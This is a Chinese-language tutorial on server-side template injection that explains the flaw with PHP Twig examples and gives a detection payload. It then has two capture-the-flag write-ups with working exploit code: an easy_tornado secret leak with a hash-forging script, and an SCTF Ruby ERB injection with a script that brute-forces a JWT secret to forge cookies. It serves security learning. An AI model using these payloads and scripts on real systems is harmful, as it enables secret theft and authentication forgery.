SSTI

模板注入

模板注入与常见web注入

  • 就注入类型的漏洞来说,常见 Web 注入有:SQL 注入,XSS 注入,XPATH 注入,XML 注入,代码注入,命令注入等等。注入漏洞的实质是服务端接受了用户的输入,未过滤或过滤不严谨执行了拼接了用户输入的代码,因此造成了各类注入。下面这段代码足以说明这一点:

    1
    2
    3
    4
    5
    6
    // SQL 注入
    $query = "select * from sometable where id=".$_GET['id'];
    mysql_query($query);
    ------------- 华丽的分割线 -------------
    // 模版注入
    $temp->render("Hello ".$_GET['username']);
  • 而服务端模板注入和常见Web注入的成因一样,也是服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。

    模板注入原理

  • 模板注入涉及的是服务端Web应用使用模板引擎渲染用户请求的过程,这里我们使用 PHP 模版引擎 Twig 作为例子来说明模板注入产生的原理。考虑下面这段代码:

    1
    2
    3
    4
    5
    6
    <?php
    require_once dirname(__FILE__).'/../lib/Twig/Autoloader.php';
    Twig_Autoloader::register(true);
    $twig = new Twig_Environment(new Twig_Loader_String());
    $output = $twig->render("Hello {{name}}", array("name" => $_GET["name"])); // 将用户输入作为模版变量的值
    echo $output;
  • 使用 Twig 模版引擎渲染页面,其中模版含有 变量,其模版变量值来自于 GET 请求参数 $_GET[“name”] 。显然这段代码并没有什么问题,即使你想通过 name 参数传递一段 JavaScript 代码给服务端进行渲染,也许你会认为这里可以进行 XSS,但是由于模版引擎一般都默认对渲染的变量值进行编码和转义,所以并不会造成跨站脚本攻击.但是,如果渲染的模版内容受到用户的控制,情况就不一样了。修改代码为:

    1
    2
    3
    4
    5
    6
    <?php
    require_once dirname(__FILE__).'/../lib/Twig/Autoloader.php';
    Twig_Autoloader::register(true);
    $twig = new Twig_Environment(new Twig_Loader_String());
    $output = $twig->render("Hello {$_GET['name']}"); // 将用户输入作为模版内容的一部分
    echo $output;
  • 上面这段代码在构建模版时,拼接了用户输入作为模板的内容,现在如果再向服务端直接传递 JavaScript 代码,用户输入会原样输出.

  • 简单的说服务端模板注入的形成终究还是因为服务端相信了用户的输出而造成的(Web安全真谛:永远不要相信用户的输入!)。当然了,第二种情况下,攻击者不仅仅能插入 JavaScript 脚本,还能针对模板框架进行进一步的攻击,此部分只说明原理,在后面会对攻击利用进行详细说明和演示。

    模板注入检测

  • 上面已经讲明了模板注入的形成原来,现在就来谈谈对其进行检测和扫描的方法。如果服务端将用户的输入作为了模板的一部分,那么在页面渲染时也必定会将用户输入的内容进行模版编译和解析最后输出。如果使用第二份代码:

    1
    2
    3
    4
    5
    6
    <?php
    require_once dirname(__FILE__).'/../lib/Twig/Autoloader.php';
    Twig_Autoloader::register(true);
    $twig = new Twig_Environment(new Twig_Loader_String());
    $output = $twig->render("Hello {$_GET['name']}"); // 将用户输入作为模版内容的一部分
    echo $output;

在 Twig 模板引擎里, 除了可以输出传递的变量以外,还能执行一些基本的表达式然后将其结果作为该模板变量的值,例如这里用户输入name=20 ,则在服务端拼接的模版内容为:Hello 20.Twig 模板引擎在编译模板的过程中会计算20 中的表达式 2*10 ,会将其返回值 20 作为模板变量的值输出.
现在把测试的数据改变一下,插入一些正常字符和 Twig 模板引擎默认的注释符,构造 Payload 为:

1
IsVuln{# comment #}{{2*8}}OK

实际服务端要进行编译的模板就被构造为:

1
Hello IsVuln{# comment #}{{2*8}}OK

这里简单分析一下,由于 作为 Twig 模板引擎的默认注释形式,所以在前端输出的时候并不会显示,而 16 作为模板变量最终会返回 16 作为其值进行显示,因此前端最终会返回内容 Hello IsVuln16OK

  • 同常规的 SQL 注入检测,XSS 检测一样,模板注入漏洞的检测也是向传递的参数中承载特定 Payload 并根据返回的内容来进行判断的。每一个模板引擎都有着自己的语法,Payload 的构造需要针对各类模板引擎制定其不同的扫描规则,就如同 SQL 注入中有着不同的数据库类型一样。

  • 简单来说,就是更改请求参数使之承载含有模板引擎语法的 Payload,通过页面渲染返回的内容检测承载的 Payload 是否有得到编译解析,有解析则可以判定含有 Payload 对应模板引擎注入,否则不存在 SSTI。

    BUUCT-WEB-easy_tornado

  • tornado是python中的一个web应用框架。拿到题目发现有三个文件:flag.txt,welcome.txt,hints.txt.

    1
    2
    3
    /flag.txt:flag in /flllllllllllag
    /welcome.txt:render
    /hints:md5(cookie_secret+md5(filename))
  • 看看url,发现web9.buuoj.cn/file?filename=/flag.txt&filehash=245a5ccf5543f16709d8c22851af5454
    把filename改成/fllllllllllllag试试,进入一个报错页面。url也很有意思buuoj.cn/error?msg=Error.

  • 试着把msg的值改成123看看,成功输出到页面。再结合提示render(大佬wp提示模板注入),msg=,得到cookie_secret:"M)Z.>}{O]lYIp(oW7$dc132uDaK<C%wqj@PA![VtR#geh9UHsbnL_+mT5N~J84*r"

  • 再利用hints.txt提示,得到filehash的值.脚本如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18

    import hashlib

    def md5value(s):
    md5 = hashlib.md5()
    md5.update(s)
    return md5.hexdigest()

    def jiami():
    filename = '/fllllllllllllag'
    cookie_s ="M)Z.>}{O]lYIp(oW7$dc132uDaK<C%wqj@PA![VtR#geh9UHsbnL_+mT5N~J84*r"
    print(md5value(filename.encode('utf-8')))
    x=md5value(filename.encode('utf-8'))
    y=cookie_s+x
    print(md5value(y.encode('utf-8')))


    jiami()

sctf flag shop

  • 在cookie中发现有jwt,解密发现所拥有的jkl是受cookie控制的,所以思路很清楚我们需要去伪造cookie.

  • 在robots.txt中发现原始码泄漏,访问filebak获取到原始码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    require 'sinatra'
    require 'sinatra/cookies'
    require 'sinatra/json'
    require 'jwt'
    require 'securerandom'
    require 'erb'

    set :public_folder, File.dirname(__FILE__) + '/static'

    FLAGPRICE = 1000000000000000000000000000
    #ENV["SECRET"] = SecureRandom.hex(xx)

    configure do
    enable :logging
    file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")
    file.sync = true
    use Rack::CommonLogger, file
    end

    get "/" do
    redirect '/shop', 302
    end

    get "/filebak" do
    content_type :text
    erb IO.binread __FILE__
    end

    get "/api/auth" do
    payload = { uid: SecureRandom.uuid , jkl: 20}
    auth = JWT.encode payload,ENV["SECRET"] , 'HS256'
    cookies[:auth] = auth
    end

    get "/api/info" do
    islogin
    auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
    json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})
    end

    get "/shop" do
    erb :shop
    end

    get "/work" do
    islogin
    auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
    auth = auth[0]
    unless params[:SECRET].nil?
    if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
    puts ENV["FLAG"]
    end
    end

    if params[:do] == "#{params[:name][0,7]} is working" then

    auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
    cookies[:auth] = auth
    ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

    end
    end

    post "/shop" do
    islogin
    auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }

    if auth[0]["jkl"] < FLAGPRICE then

    json({title: "error",message: "no enough jkl"})
    else

    auth << {flag: ENV["FLAG"]}
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
    cookies[:auth] = auth
    json({title: "success",message: "jkl is good thing"})
    end
    end


    def islogin
    if cookies[:auth].nil? then
    redirect to('/shop')
    end
    end
  • 发现在work这个路由中,有:ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result,这里的#{params[:name][0,7]}我们可控,所以这里有一个模版注入,但是有限制:我们的payload不能超过7个字符。

  • 去网上查找ERB模版的写法,寻找到了ruby其中的一个模版标签:<%=xx%>,但是因为长度的限制,我们只有2个字符可用.

  • 可以从原始码得到,我们的需要的SECRET是在环境变量中,但是ENV不满足条件,考虑从ruby预定义的变量入手:https://docs.ruby-lang.org/zh/2.4.0/globals_rdoc.html

    1
    2
    3
    4
    5
    unless params[:SECRET].nil?
    if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
    puts ENV["FLAG"]
    end
    end

上面正好有匹配ENV [“ SECRET”]的地方,所以利用$` 和 $’.构造name为 <%=$%> ,do为 <%=$%> is working.其中的 SECRET 参数可控,如果匹配到SECRET,则 $~ (ruby特性,表示最近一次正则匹配结果) 会在页面中返回,于是可以爆破secret,然后伪造JWT去买flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests
table = '1234567890abcdef'
url = 'http://47.110.15.101/work'
data = {
"name": "<%=$~%>",
"do": "<%=$~%> is working"
}
sess = requests.session()
sess.headers['Cookie'] = 'auth=eyJhbGciOiJIUzI1NiJ9.eyJ1aWQiOiIwZmQxMjUzNC1mMmJjLTRhZTUtOTRhNy1kNmUwZWRjMGJkMzEiLCJqa2wiOjEwN30.iI0fcdikWuFxSxYm9LV1dNjCmmID48QZ0c3w-hhyEnw'
'''
#后半部分
key = ''
for _ in range(1000):
for i in table:
tmp = key
tmp += i
data['SECRET'] = tmp
print(tmp)
res = sess.get(url, data=data)
print(res.text)
if tmp in res.text:
key += i
print(key)
break
'''
#前半部分
key = '17b51f7f2588b3d2f09c821e6499984b09810e652ce9fa4882fe4875c8'
for _ in range(1000):
for i in table:
tmp = key
tmp = i + tmp
data['SECRET'] = tmp
res = sess.get(url, data=data)
if tmp in res.text:
key = i + key
print(key)
break
0%